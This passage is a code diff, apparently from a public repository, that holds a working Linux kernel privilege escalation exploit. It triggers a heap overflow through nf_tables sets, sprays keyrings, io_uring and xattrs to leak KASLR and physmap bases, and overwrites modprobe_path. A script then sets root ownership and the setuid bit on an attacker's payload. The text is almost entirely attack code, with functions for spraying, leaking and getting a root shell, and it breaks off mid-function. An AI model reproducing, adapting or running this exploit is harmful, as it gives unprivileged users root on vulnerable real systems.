uint8_t prefix[PREFIX_BUF_LEN];
uint8_t rcu_buf[RCU_HEAD_LEN];
unsigned short len;
};
struct leak {
long kaslr_base;
long physmap_base;
};
typedef int32_t key_serial_t;
static inline key_serial_t add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t ringid) {
return syscall(__NR_add_key, type, description, payload, plen, ringid);
}
static inline long keyctl(int operation, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5) {
return syscall(__NR_keyctl, operation, arg2, arg3, arg4, arg5);
}
key_serial_t *spray_keyring(uint32_t spray_size);
struct leak *get_keyring_leak(key_serial_t *id_buffer, uint32_t id_buffer_size);
void release_keys(key_serial_t *id_buffer, uint32_t id_buffer_size);
#endif /* _KEYRING_H_ */
+8
View File
@@ -0,0 +1,8 @@
#ifndef _LOG_H_
#define _LOG_H_
#include <stdlib.h>
#define do_error_exit(msg) do {perror("[-] " msg); exit(EXIT_FAILURE); } while(0)
#endif /* _LOG_H_ */
@@ -0,0 +1,8 @@
#ifndef _MODPROBE_H_
#define _MODPROBE_H_
void setup_modprobe_payload(char*);
void get_root_shell(void);
void prepare_root_shell(char*);
#endif /* _MODPROBE_H_ */
+28
View File
@@ -0,0 +1,28 @@
#ifndef _NETLINK_H_
#define _NETLINK_H_
#include <stdint.h>
#include <linux/netlink.h>
/* Netlink messages */
#define NETLINK_RECEIVE_BUFFER_SIZE 4096
struct nlmsghdr *get_batch_begin_nlmsg(void);
struct nlmsghdr *get_batch_end_nlmsg(void);
/* Netlink attributes */
#define U32_NLA_SIZE (sizeof(struct nlattr) + sizeof(uint32_t))
#define U64_NLA_SIZE (sizeof(struct nlattr) + sizeof(uint64_t))
#define S8_NLA_SIZE (sizeof(struct nlattr) + 8)
#define NLA_BIN_SIZE(x) (sizeof(struct nlattr) + x)
#define NLA_ATTR(attr) ((void *)attr + NLA_HDRLEN)
struct nlattr *set_nested_attr(struct nlattr *attr, uint16_t type, uint16_t data_len);
struct nlattr *set_u32_attr(struct nlattr *attr, uint16_t type, uint32_t value);
struct nlattr *set_u64_attr(struct nlattr *attr, uint16_t type, uint64_t value);
struct nlattr *set_str8_attr(struct nlattr *attr, uint16_t type, const char name[8]);
struct nlattr *set_binary_attr(struct nlattr *attr, uint16_t type, uint8_t *buffer, uint64_t buffer_size);
#endif /* _NETLINK_H_ */
+14
View File
@@ -0,0 +1,14 @@
#ifndef _NF_TABLES_H_
#define _NF_TABLES_H_
#include <stdint.h>
#define TABLEMSG_SIZE NLMSG_SPACE(sizeof(struct nfgenmsg) + sizeof(struct nlattr) + 8)
#define KMALLOC64_KEYLEN (64 - 8 - 12 - 16) // Max size - elemsize - sizeof(nft_set_ext)(align) - min datasize
void create_table(int sock, const char *name);
void create_set(int sock, const char *set_name, uint32_t set_keylen, uint32_t data_len, const char *table_name, uint32_t id);
void add_elem_to_set(int sock, const char *set_name, uint32_t set_keylen, const char *table_name, uint32_t id, uint32_t data_len, uint8_t *data);
#endif /* _NF_TABLES_H_ */
@@ -0,0 +1,26 @@
#ifndef _SIMPLE_XATTR_H_
#define _SIMPLE_XATTR_H_
#include <stdint.h>
#define XATTR_FILE "/tmp/tmpfs/a"
#define XATTR_VALUE "value"
#define XATTR_DELETION_NAME "security.Iwanttoberoot"
#define ATTRIBUTE_NAME_LEN 0x100
#define COMMAND_MAX_LEN 0x100
#define PREFIX_BUFFER_LEN 16
struct write4_payload {
uint8_t prefix[PREFIX_BUFFER_LEN];
void *next;
void *prev;
uint8_t name_offset;
} __attribute__((packed));
void spray_simple_xattr(char *filename, uint32_t spray_size);
void create_xattr(const char *filename, char *attribute_name);
#endif /* _SIMPLE_XATTR_H_ */
+27
View File
@@ -0,0 +1,27 @@
#ifndef _URING_H_
#define _URING_H_
#include <stdint.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/io_uring.h>
#define SPRAY_NB_ENTRIES 10
struct fd_uring {
int fd;
struct io_uring_params *params;
};
static inline int io_uring_setup(uint32_t entries, struct io_uring_params *p) {
return syscall(__NR_io_uring_setup, entries, p);
}
static inline int io_uring_register(int fd, unsigned int opcode, void *arg, unsigned int nr_args) {
return syscall(__NR_io_uring_register, fd, opcode, arg, nr_args);
}
void spray_uring(uint32_t spray_size, struct fd_uring *fd_buffer);
void release_uring(struct fd_uring *fd_buffer, uint32_t buffer_size);
#endif /* _URING_H_ */
+27
View File
@@ -0,0 +1,27 @@
#ifndef _UTIL_H_
#define _UTIL_H_
#include <unistd.h>
#define FILENAME_MAX_LEN 0x80
#define KERNEL_VERSION_SIZE_BUFFER 512
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
struct kernel_info {
const char* kernel_version;
uint64_t io_ring_ctx_ref_free;
uint64_t io_rsrc_node_ref_zero;
uint64_t modprobe_path;
};
extern struct kernel_info kernels[];
extern int kernel;
void new_ns(void);
void generate_table_name(char table_name[8]);
void set_cpu_affinity(int cpu_n, pid_t pid);
struct utsname* get_kernel_version(void);
int detect_versions(void);
char *generate_tmp_filename(void);
#endif /* _UTIL_H_ */
+125
View File
@@ -0,0 +1,125 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <limits.h>
#include <linux/keyctl.h>
#include "log.h"
#include "keyring.h"
#include "util.h"
/**
* spray_keyring(): Spray the heap with `user_key_payload` structure
* @spray_size: Number of object to put into the `kmalloc-64` cache
*
* Return: Allocated buffer with serial numbers of the created keys
*/
key_serial_t *spray_keyring(uint32_t spray_size) {
char key_desc[KEY_DESC_MAX_SIZE];
key_serial_t *id_buffer = calloc(spray_size, sizeof(key_serial_t));
if (id_buffer == NULL)
do_error_exit("calloc");
for (uint32_t i = 0; i < spray_size; i++) {
snprintf(key_desc, KEY_DESC_MAX_SIZE, "RandoriSec-%03du", i);
id_buffer[i] = add_key("user", key_desc, key_desc, strlen(key_desc), KEY_SPEC_PROCESS_KEYRING);
if (id_buffer[i] < 0)
do_error_exit("add_key");
}
return id_buffer;
}
/**
* dump_buffer(): Debug function to analyze the infoleak
* @buffer: Buffer that contains the infoleak
* @buffer_size: Size of the previous buffer
*/
void dump_buffer(void **buffer, uint32_t buffer_size) {
for (uint32_t i = 0; i < buffer_size; i++) {
printf("[*] %d: %p\n", i, buffer[i]);
}
}
/**
* parse_leak(): Parse the infoleak to compute the kaslr base and the physmap base
* @buffer: Buffer that contains the infoleak
* @buffer_size: Size of the previous buffer
*
* Search for a pointer to the function `io_ring_ctx_ref_free` that is stored within a `percpu_ref_data` structure
* Then compute the KASLR base
* Finally use the pointer to the associated `percpu_ref` to compute the physmap base
*
* Return: KASLR base and physmap base of the running kernel
*/
struct leak *parse_leak(long *buffer, uint32_t buffer_size) {
struct leak *ret = malloc(sizeof(struct leak));
if (!ret)
do_error_exit("malloc");
for (uint32_t i = 0; i < buffer_size; i++) {
/* Search for reference to the function io_ring_ctx_ref_free */
if ((buffer[i] & 0xfffff) == (kernels[kernel].io_ring_ctx_ref_free & 0xfffff)) {
ret->kaslr_base = buffer[i] - kernels[kernel].io_ring_ctx_ref_free;
ret->physmap_base = buffer[i + 5] & 0xffffffff00000000;
return ret;
/* Search for reference to the function io_rsrc_node_ref_zero */
} else if ((buffer[i] & 0xfffff) == (kernels[kernel].io_rsrc_node_ref_zero & 0xfffff)) {
ret->kaslr_base = buffer[i] - kernels[kernel].io_rsrc_node_ref_zero;
ret->physmap_base = buffer[i + 5] & 0xffffffff00000000;
return ret;
}
}
free(ret);
return NULL;
}
/**
* get_keyring_leak(): Find the infoleak and compute the needed bases
* @id_buffer: Buffer with the serial numbers of keys used to spray the heap
* @id_buffer_size: Size of the previous buffer
*
* Search for a key with an unexpected size to find the corrupted object.
*
* Return: KASLR base and physmap base of the running kernel
*/
struct leak *get_keyring_leak(key_serial_t *id_buffer, uint32_t id_buffer_size) {
uint8_t buffer[USHRT_MAX] = {0};
int32_t keylen;
for (uint32_t i = 0; i < id_buffer_size; i++) {
keylen = keyctl(KEYCTL_READ, id_buffer[i], (long)buffer, USHRT_MAX, 0);
if (keylen < 0)
do_error_exit("keyctl");
if (keylen == USHRT_MAX) {
//dump_buffer((void **)buffer, keylen >> 3);
return parse_leak((long *)buffer, keylen >> 3);
}
}
return NULL;
}
/**
* release_keys(): Release user_key_payload objects
* @id_buffer: Buffer that stores the id of the key to remove
* @id_buffer_size: Size of the previous buffer
*/
void release_keys(key_serial_t *id_buffer, uint32_t id_buffer_size) {
for (uint32_t i = 0; i < id_buffer_size; i++) {
if (keyctl(KEYCTL_REVOKE, id_buffer[i], 0, 0, 0) < 0)
do_error_exit("keyctl(KEYCTL_REVOKE)");
}
free(id_buffer);
}
+142
View File
@@ -0,0 +1,142 @@
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <limits.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include "log.h"
#include "util.h"
#include "uring.h"
#include "keyring.h"
#include "modprobe.h"
#include "nf_tables.h"
#include "simple_xattr.h"
#define ID 1337
#define SET_NAME "name\0\0\0"
#define LEAK_SET_NAME "leak\0\0\0"
#define TABLE_NAME "table\0\0"
#define SPRAY_SIZE 300
int main(int argc, char **argv) {
int sock;
struct sockaddr_nl snl;
struct write4_payload payload;
struct keyring_payload leak_payload;
struct leak *bases;
struct fd_uring *fd_buffer;
key_serial_t *id_buffer;
char *xattr_target_filename;
if (argc != 2)
{
printf("[-] Usage: %s <payload_path>\n", argv[0]);
do_error_exit("argerror");
}
if (detect_versions() == -1)
{
do_error_exit("kernel_offsets");
}
/* Pin the process to the first CPU */
set_cpu_affinity(0, 0);
prepare_root_shell(argv[1]);
printf("[+] Second process currently waiting\n");
new_ns();
printf("[+] Get CAP_NET_ADMIN capability\n");
/* Netfilter netlink socket creation */
if ((sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_NETFILTER)) < 0) {
do_error_exit("socket");
}
printf("[+] Netlink socket created\n");
// Binding
memset(&snl, 0, sizeof(snl));
snl.nl_family = AF_NETLINK;
snl.nl_pid = getpid();
if (bind(sock, (struct sockaddr *)&snl, sizeof(snl)) < 0) {
do_error_exit("bind");
}
printf("[+] Netlink socket bound\n");
/* Create a netfilter table */
create_table(sock, TABLE_NAME);
printf("[+] Table %s created\n", TABLE_NAME);
/* Create a netfilter set for the info leak */
create_set(sock, LEAK_SET_NAME, KMALLOC64_KEYLEN, sizeof(struct keyring_payload), TABLE_NAME, ID);
printf("[+] Set for the leak created\n");
/* Create a netfilter set for the write primitive */
create_set(sock, SET_NAME, KMALLOC64_KEYLEN, sizeof(struct write4_payload), TABLE_NAME, ID + 1);
printf("[+] Set for write primitive created\n");
/* Prepare the payload for the leak */
memset(&leak_payload, 0, sizeof(struct keyring_payload));
leak_payload.len = USHRT_MAX;
printf("[*] Leak in process\n");
fflush(stdout);
retry:
/* Spray the heap with user_key_payload structs to perform an info leak */
id_buffer = spray_keyring(SPRAY_KEY_SIZE);
/** Perform the overflow to modify the size of a registered key **/
add_elem_to_set(sock, LEAK_SET_NAME, KMALLOC64_KEYLEN, TABLE_NAME, ID, sizeof(struct keyring_payload), (uint8_t *)&leak_payload);
/* Spray the heap with percpu_ref_data */
fd_buffer = calloc(SPRAY_SIZE, sizeof(struct fd_uring));
if (!fd_buffer)
do_error_exit("calloc");
spray_uring(SPRAY_SIZE, fd_buffer);
/* Check if the overflow occured on the right object */
bases = get_keyring_leak(id_buffer, SPRAY_KEY_SIZE);
if (!bases) {
release_keys(id_buffer, SPRAY_KEY_SIZE);
release_uring(fd_buffer, SPRAY_SIZE);
goto retry;
}
printf("\r[+] Leak succeed \n");
printf("[+] kaslr base found 0x%lx\n", bases->kaslr_base);
printf("[+] physmap base found 0x%lx\n", bases->physmap_base);
/* Prepare the payload for the write primitive */
memset(&payload, 0, sizeof(struct write4_payload));
payload.next = (void *)(bases->physmap_base + 0x2f706d74);
payload.prev = (void *)(bases->kaslr_base + kernels[kernel].modprobe_path + 1);
payload.name_offset = 0xe5;
respray_xattr:
/* Spray the heap for the write primitive */
xattr_target_filename = generate_tmp_filename();
spray_simple_xattr(xattr_target_filename, SPRAY_SIZE);
add_elem_to_set(sock, SET_NAME, KMALLOC64_KEYLEN, TABLE_NAME, ID, sizeof(struct write4_payload), (uint8_t *)&payload);
/* Proceed to the write */
if (removexattr(xattr_target_filename, XATTR_DELETION_NAME) < 0)
goto respray_xattr;
printf("[+] modprobe_path changed !\n");
setup_modprobe_payload(argv[1]);
printf("[+] Modprobe payload setup\n");
get_root_shell();
printf("[+++] Got root shell, should exit?\n");
/* Win ! */
exit(EXIT_SUCCESS);
}
+131
View File
@@ -0,0 +1,131 @@
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/shm.h>
#include <sys/ipc.h>
#include <sys/types.h>
#include <semaphore.h>
#include <string.h>
#include <sys/wait.h>
#include "log.h"
#include "modprobe.h"
const char dummy_file[] = "/tmp/dummy\0";
const char dummy_content[] = "\xff\xff\xff\xff";
const char* new_modprobe_content[] = { "#!/bin/bash\n\nchown root:root ",
"\nchmod 4555 "
};
sem_t *shell_barrier;
/**
* prepare_root_shell(): Setup a second process waiting out the namespaces used for the exploit
*/
void prepare_root_shell(char* payload) {
int shmid = shmget(0x1337, sizeof(sem_t), IPC_CREAT | S_IRWXU | S_IRWXG | S_IRWXO);
shell_barrier = shmat(shmid, NULL, 0);
if (sem_init(shell_barrier, 1, 0) < 0)
do_error_exit("sem_init");
if (!fork()) {
sem_wait(shell_barrier);
execl(payload, payload, NULL);
exit(EXIT_FAILURE);
}
}
/**
* create_dummy_file(): Create a file to trigger call_modprobe in case of execution
*/
void create_dummy_file(void) {
int fd;
fd = open(dummy_file, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
write(fd, dummy_content, sizeof(dummy_content));
close(fd);
}
/**
* get_root_shell(): Trigger a call to the new modprobe_path
*/
void get_root_shell(void) {
int pid = fork();
if (pid == 0)
{
execl("/tmp/dummy", "/tmp/dummy", NULL);
exit(EXIT_FAILURE);
}
printf("[?] waitpid\n");
waitpid(pid, NULL, 0);
printf("[?] sem_post\n");
sem_post(shell_barrier);
}
/**
* get_new_modprobe_path(): Read the new modprobe_path
*
* Return: path stored within /proc/sys/kernel/modprobe
*/
char *get_new_modprobe_path(void) {
int fd;
char *modprobe_path = malloc(15);
if (!modprobe_path)
do_error_exit("malloc");
fd = open("/proc/sys/kernel/modprobe", O_RDONLY);
if (fd < 0)
do_error_exit("open(/proc/sys/kernel/modprobe)");
read(fd, modprobe_path, 14);
close(fd);
modprobe_path[14] = '\0';
return modprobe_path;
}
/**
* write_new_modprobe(): Create chown && chmod script for get_root
* @filename: current path to modprobe for the kernel
*/
void write_new_modprobe(char *filename, char* payloadpath) {
int fd;
fd = open(filename, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
if (fd < 0)
do_error_exit("open");
for (size_t i = 0; i < sizeof(new_modprobe_content) / sizeof(new_modprobe_content[0]); i++)
{
write(fd, new_modprobe_content[i], strlen(new_modprobe_content[i]));
write(fd, payloadpath, strlen(payloadpath));
}
write(fd, "\n", 1);
close(fd);
}
/**
* setup_modprobe_payload(): Prepare all the needed stuff to get a root shell
*/
void setup_modprobe_payload(char* payloadpath) {
char *filename;
filename = get_new_modprobe_path();
write_new_modprobe(filename, payloadpath);
create_dummy_file();
free(filename);
}
+124
View File
@@ -0,0 +1,124 @@
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <linux/netlink.h>
#include <linux/netfilter/nfnetlink.h>
#include <unistd.h>
#include <string.h>
#include <arpa/inet.h>
#include "log.h"
#include "netlink.h"
/**
* get_batch_begin_nlmsg(): Construct a BATCH_BEGIN message for the netfilter netlink
*/
struct nlmsghdr *get_batch_begin_nlmsg(void) {
struct nlmsghdr *nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(sizeof(struct nfgenmsg)));
struct nfgenmsg *nfgm = (struct nfgenmsg *)NLMSG_DATA(nlh);
if (!nlh)
do_error_exit("malloc");
memset(nlh, 0, NLMSG_SPACE(sizeof(struct nfgenmsg)));
nlh->nlmsg_len = NLMSG_SPACE(sizeof(struct nfgenmsg));
nlh->nlmsg_type = NFNL_MSG_BATCH_BEGIN;
nlh->nlmsg_pid = getpid();
nlh->nlmsg_flags = 0;
nlh->nlmsg_seq = 0;
/* Used to access to the netfilter tables subsystem */
nfgm->res_id = NFNL_SUBSYS_NFTABLES;
return nlh;
}
/**
* get_batch_end_nlmsg(): Construct a BATCH_END message for the netfilter netlink
*/
struct nlmsghdr *get_batch_end_nlmsg(void) {
struct nlmsghdr *nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(sizeof(struct nfgenmsg)));
if (!nlh)
do_error_exit("malloc");
memset(nlh, 0, NLMSG_SPACE(sizeof(struct nfgenmsg)));
nlh->nlmsg_len = NLMSG_SPACE(sizeof(struct nfgenmsg));
nlh->nlmsg_type = NFNL_MSG_BATCH_END;
nlh->nlmsg_pid = getpid();
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = 0;
return nlh;
}
/**
* set_nested_attr(): Prepare a nested netlink attribute
* @attr: Attribute to fill
* @type: Type of the nested attribute
* @data_len: Length of the nested attribute
*/
struct nlattr *set_nested_attr(struct nlattr *attr, uint16_t type, uint16_t data_len) {
attr->nla_type = type;
attr->nla_len = NLA_ALIGN(data_len + sizeof(struct nlattr));
return (void *)attr + sizeof(struct nlattr);
}
/**
* set_u32_attr(): Prepare an integer netlink attribute
* @attr: Attribute to fill
* @type: Type of the attribute
* @value: Value of this attribute
*/
struct nlattr *set_u32_attr(struct nlattr *attr, uint16_t type, uint32_t value) {
attr->nla_type = type;
attr->nla_len = U32_NLA_SIZE;
*(uint32_t *)NLA_ATTR(attr) = htonl(value);
return (void *)attr + U32_NLA_SIZE;
}
/**
* set_u64_attr(): Prepare a 64 bits integer netlink attribute
* @attr: Attribute to fill
* @type: Type of the attribute
* @value: Value of this attribute
*/
struct nlattr *set_u64_attr(struct nlattr *attr, uint16_t type, uint64_t value) {
attr->nla_type = type;
attr->nla_len = U64_NLA_SIZE;
*(uint64_t *)NLA_ATTR(attr) = htobe64(value);
return (void *)attr + U64_NLA_SIZE;
}
/**
* set_str8_attr(): Prepare a 8 bytes long string netlink attribute
* @attr: Attribute to fill
* @type: Type of the attribute
* @name: Buffer to copy into the attribute
*/
struct nlattr *set_str8_attr(struct nlattr *attr, uint16_t type, const char name[8]) {
attr->nla_type = type;
attr->nla_len = S8_NLA_SIZE;
memcpy(NLA_ATTR(attr), name, 8);
return (void *)attr + S8_NLA_SIZE;
}
/**
* set_binary_attr(): Prepare a byte array netlink attribute
* @attr: Attribute to fill
* @type: Type of the attribute
* @buffer: Buffer with data to send
* @buffer_size: Size of the previous buffer
*/
struct nlattr *set_binary_attr(struct nlattr *attr, uint16_t type, uint8_t *buffer, uint64_t buffer_size) {
attr->nla_type = type;
attr->nla_len = NLA_BIN_SIZE(buffer_size);
memcpy(NLA_ATTR(attr), buffer, buffer_size);
return (void *)attr + NLA_ALIGN(NLA_BIN_SIZE(buffer_size));
}
+313
View File
@@ -0,0 +1,313 @@
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nf_tables.h>
#include <string.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <string.h>
#include "netlink.h"
#include "nf_tables.h"
#include "log.h"
const uint8_t zerobuf[0x40] = {0};
/**
* create_table(): Register a new table for the inet family
* @sock: socket bound to the netfilter netlink
* @name: Name of the new table
*/
void create_table(int sock, const char *name) {
struct msghdr msg;
struct sockaddr_nl dest_snl;
struct iovec iov[3];
struct nlmsghdr *nlh_batch_begin;
struct nlmsghdr *nlh;
struct nlmsghdr *nlh_batch_end;
struct nlattr *attr;
struct nfgenmsg *nfm;
/* Destination preparation */
memset(&dest_snl, 0, sizeof(dest_snl));
dest_snl.nl_family = AF_NETLINK;
memset(&msg, 0, sizeof(msg));
/* Netlink batch_begin message preparation */
nlh_batch_begin = get_batch_begin_nlmsg();
/* Netlink table message preparation */
nlh = (struct nlmsghdr *)malloc(TABLEMSG_SIZE);
if (!nlh)
do_error_exit("malloc");
memset(nlh, 0, TABLEMSG_SIZE);
nlh->nlmsg_len = TABLEMSG_SIZE;
nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWTABLE;
nlh->nlmsg_pid = getpid();
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = 0;
nfm = NLMSG_DATA(nlh);
nfm->nfgen_family = NFPROTO_INET;
/** Prepare associated attribute **/
attr = (void *)nlh + NLMSG_SPACE(sizeof(struct nfgenmsg));
set_str8_attr(attr, NFTA_TABLE_NAME, name);
/* Netlink batch_end message preparation */
nlh_batch_end = get_batch_end_nlmsg();
/* IOV preparation */
memset(iov, 0, sizeof(struct iovec) * 3);
iov[0].iov_base = (void *)nlh_batch_begin;
iov[0].iov_len = nlh_batch_begin->nlmsg_len;
iov[1].iov_base = (void *)nlh;
iov[1].iov_len = nlh->nlmsg_len;
iov[2].iov_base = (void *)nlh_batch_end;
iov[2].iov_len = nlh_batch_end->nlmsg_len;
/* Message header preparation */
msg.msg_name = (void *)&dest_snl;
msg.msg_namelen = sizeof(struct sockaddr_nl);
msg.msg_iov = iov;
msg.msg_iovlen = 3;
sendmsg(sock, &msg, 0);
/* Free used structures */
free(nlh_batch_end);
free(nlh);
free(nlh_batch_begin);
}
/**
* create_set(): Create a netfilter set
* @sock: Socket used to communicate throught the netfilter netlink
* @set_name: Name of the created set
* @set_keylen: Length of the keys of this set. Used in the exploit to control the used cache
* @data_len: Length of stored data. Used to control the size of the overflow
* @table_name: Name of the table that stores this set
* @id: ID of the created set
*/
void create_set(int sock, const char *set_name, uint32_t set_keylen, uint32_t data_len, const char *table_name, uint32_t id) {
struct msghdr msg;
struct sockaddr_nl dest_snl;
struct nlmsghdr *nlh_batch_begin;
struct nlmsghdr *nlh_payload;
struct nlmsghdr *nlh_batch_end;
struct nfgenmsg *nfm;
struct nlattr *attr;
uint64_t nlh_payload_size;
struct iovec iov[3];
/* Prepare the netlink sockaddr for msg */
memset(&dest_snl, 0, sizeof(struct sockaddr_nl));
dest_snl.nl_family = AF_NETLINK;
/* First netlink message: batch_begin */
nlh_batch_begin = get_batch_begin_nlmsg();
/* Second netlink message : Set attributes */
nlh_payload_size = sizeof(struct nfgenmsg); // Mandatory
nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_TABLE
nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_NAME
nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_ID
nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_KEY_LEN
nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_FLAGS
nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_DATA_TYPE
nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_DATA_LEN
nlh_payload_size = NLMSG_SPACE(nlh_payload_size);
/** Allocation **/
nlh_payload = (struct nlmsghdr *)malloc(nlh_payload_size);
if (!nlh_payload)
do_error_exit("malloc");
memset(nlh_payload, 0, nlh_payload_size);
/** Fill the required fields **/
nlh_payload->nlmsg_len = nlh_payload_size;
nlh_payload->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSET;
nlh_payload->nlmsg_pid = getpid();
nlh_payload->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE;
nlh_payload->nlmsg_seq = 0;
/** Setup the nfgenmsg **/
nfm = (struct nfgenmsg *)NLMSG_DATA(nlh_payload);
nfm->nfgen_family = NFPROTO_INET; // Verify if it is compulsory
/** Setup the attributes */
attr = (struct nlattr *)((void *)nlh_payload + NLMSG_SPACE(sizeof(struct nfgenmsg)));
attr = set_str8_attr(attr, NFTA_SET_TABLE, table_name);
attr = set_str8_attr(attr, NFTA_SET_NAME, set_name);
attr = set_u32_attr(attr, NFTA_SET_ID, id);
attr = set_u32_attr(attr, NFTA_SET_KEY_LEN, set_keylen);
attr = set_u32_attr(attr, NFTA_SET_FLAGS, NFT_SET_MAP);
attr = set_u32_attr(attr, NFTA_SET_DATA_TYPE, 0);
set_u32_attr(attr, NFTA_SET_DATA_LEN, data_len);
/* Last netlink message: batch_end */
nlh_batch_end = get_batch_end_nlmsg();
/* Setup the iovec */
memset(iov, 0, sizeof(struct iovec) * 3);
iov[0].iov_base = (void *)nlh_batch_begin;
iov[0].iov_len = nlh_batch_begin->nlmsg_len;
iov[1].iov_base = (void *)nlh_payload;
iov[1].iov_len = nlh_payload->nlmsg_len;
iov[2].iov_base = (void *)nlh_batch_end;
iov[2].iov_len = nlh_batch_end->nlmsg_len;
/* Prepare the message to send */
memset(&msg, 0, sizeof(struct msghdr));
msg.msg_name = (void *)&dest_snl;
msg.msg_namelen = sizeof(struct sockaddr_nl);
msg.msg_iov = iov;
msg.msg_iovlen = 3;
/* Send message */
sendmsg(sock, &msg, 0);
/* Free allocated memory */
free(nlh_batch_end);
free(nlh_payload);
free(nlh_batch_begin);
}
/**
* add_elem_to_set(): Trigger the heap buffer overflow
* @sock: Socket used to communicate throught the netfilter netlink
* @set_name: Name of the set to add the element
* @set_keylen: Length of the keys of the previous set
* @table_name: Table associated to the preiv
* @id: ID of the previous set
* @data_len: Length of the data to copy. (= Size of the overflow - 16 )
* @data: Data used for the overflow
*
* Submit two elements to add to the set.
* The first one is used to setup the data payload
* The second will trigger the overflow
*/
void add_elem_to_set(int sock, const char *set_name, uint32_t set_keylen, const char *table_name, uint32_t id, uint32_t data_len, uint8_t *data) {
struct msghdr msg;
struct sockaddr_nl dest_snl;
struct nlmsghdr *nlh_batch_begin;
struct nlmsghdr *nlh_payload;
struct nlmsghdr *nlh_batch_end;
struct nfgenmsg *nfm;
struct nlattr *attr;
uint64_t nlh_payload_size;
uint64_t nested_attr_size;
size_t first_element_size;
size_t second_element_size;
struct iovec iov[3];
/* Prepare the netlink sockaddr for msg */
memset(&dest_snl, 0, sizeof(struct sockaddr_nl));
dest_snl.nl_family = AF_NETLINK;
/* First netlink message: batch */
nlh_batch_begin = get_batch_begin_nlmsg();
/* Second netlink message : Set attributes */
/** Precompute the size of the nested field **/
nested_attr_size = 0;
/*** First element ***/
nested_attr_size += sizeof(struct nlattr); // Englobing attribute
nested_attr_size += sizeof(struct nlattr); // NFTA_SET_ELEM_KEY
nested_attr_size += NLA_BIN_SIZE(set_keylen); // NFTA_DATA_VALUE
nested_attr_size += sizeof(struct nlattr); // NFTA_SET_ELEM_DATA
nested_attr_size += NLA_ALIGN(NLA_BIN_SIZE(data_len)); // NFTA_DATA_VALUE
first_element_size = nested_attr_size;
/*** Second element ***/
nested_attr_size += sizeof(struct nlattr); // Englobing attribute
nested_attr_size += sizeof(struct nlattr); // NFTA_SET_ELEM_KEY
nested_attr_size += NLA_BIN_SIZE(set_keylen); // NFTA_DATA_VALUE
nested_attr_size += sizeof(struct nlattr); // NFTA_SET_ELEM_DATA
nested_attr_size += sizeof(struct nlattr); // NFTA_DATA_VERDICT
nested_attr_size += U32_NLA_SIZE; // NFTA_VERDICT_CODE
second_element_size = nested_attr_size - first_element_size;
nlh_payload_size = sizeof(struct nfgenmsg); // Mandatory
nlh_payload_size += sizeof(struct nlattr); // NFTA_SET_ELEM_LIST_ELEMENTS
nlh_payload_size += nested_attr_size; // All the stuff described above
nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_ELEM_LIST_TABLE
nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_ELEM_LIST_SET
nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_ELEM_LIST_SET_ID
nlh_payload_size = NLMSG_SPACE(nlh_payload_size);
/** Allocation **/
nlh_payload = (struct nlmsghdr *)malloc(nlh_payload_size);
if (!nlh_payload) {
do_error_exit("malloc");
}
memset(nlh_payload, 0, nlh_payload_size);
/** Fill the required fields **/
nlh_payload->nlmsg_len = nlh_payload_size;
nlh_payload->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSETELEM;
nlh_payload->nlmsg_pid = getpid();
nlh_payload->nlmsg_flags = NLM_F_REQUEST;
nlh_payload->nlmsg_seq = 0;
/** Setup the nfgenmsg **/
nfm = (struct nfgenmsg *)NLMSG_DATA(nlh_payload);
nfm->nfgen_family = NFPROTO_INET;
/** Setup the attributes */
attr = (struct nlattr *)((void *)nlh_payload + NLMSG_SPACE(sizeof(struct nfgenmsg)));
attr = set_str8_attr(attr, NFTA_SET_ELEM_LIST_TABLE, table_name);
attr = set_str8_attr(attr, NFTA_SET_ELEM_LIST_SET, set_name);
attr = set_u32_attr(attr, NFTA_SET_ELEM_LIST_SET_ID, id);
attr = set_nested_attr(attr, NFTA_SET_ELEM_LIST_ELEMENTS, nested_attr_size);
/*** First element ***/
attr = set_nested_attr(attr, 0, first_element_size - 4);
attr = set_nested_attr(attr, NFTA_SET_ELEM_KEY, NLA_BIN_SIZE(set_keylen));
attr = set_binary_attr(attr, NFTA_DATA_VALUE, (uint8_t *)zerobuf, set_keylen);
attr = set_nested_attr(attr, NFTA_SET_ELEM_DATA, NLA_BIN_SIZE(data_len));
attr = set_binary_attr(attr, NFTA_DATA_VALUE, (uint8_t *)data, data_len);
/*** Second element ***/
attr = set_nested_attr(attr, 0, second_element_size - 4);
attr = set_nested_attr(attr, NFTA_SET_ELEM_KEY, NLA_BIN_SIZE(set_keylen));
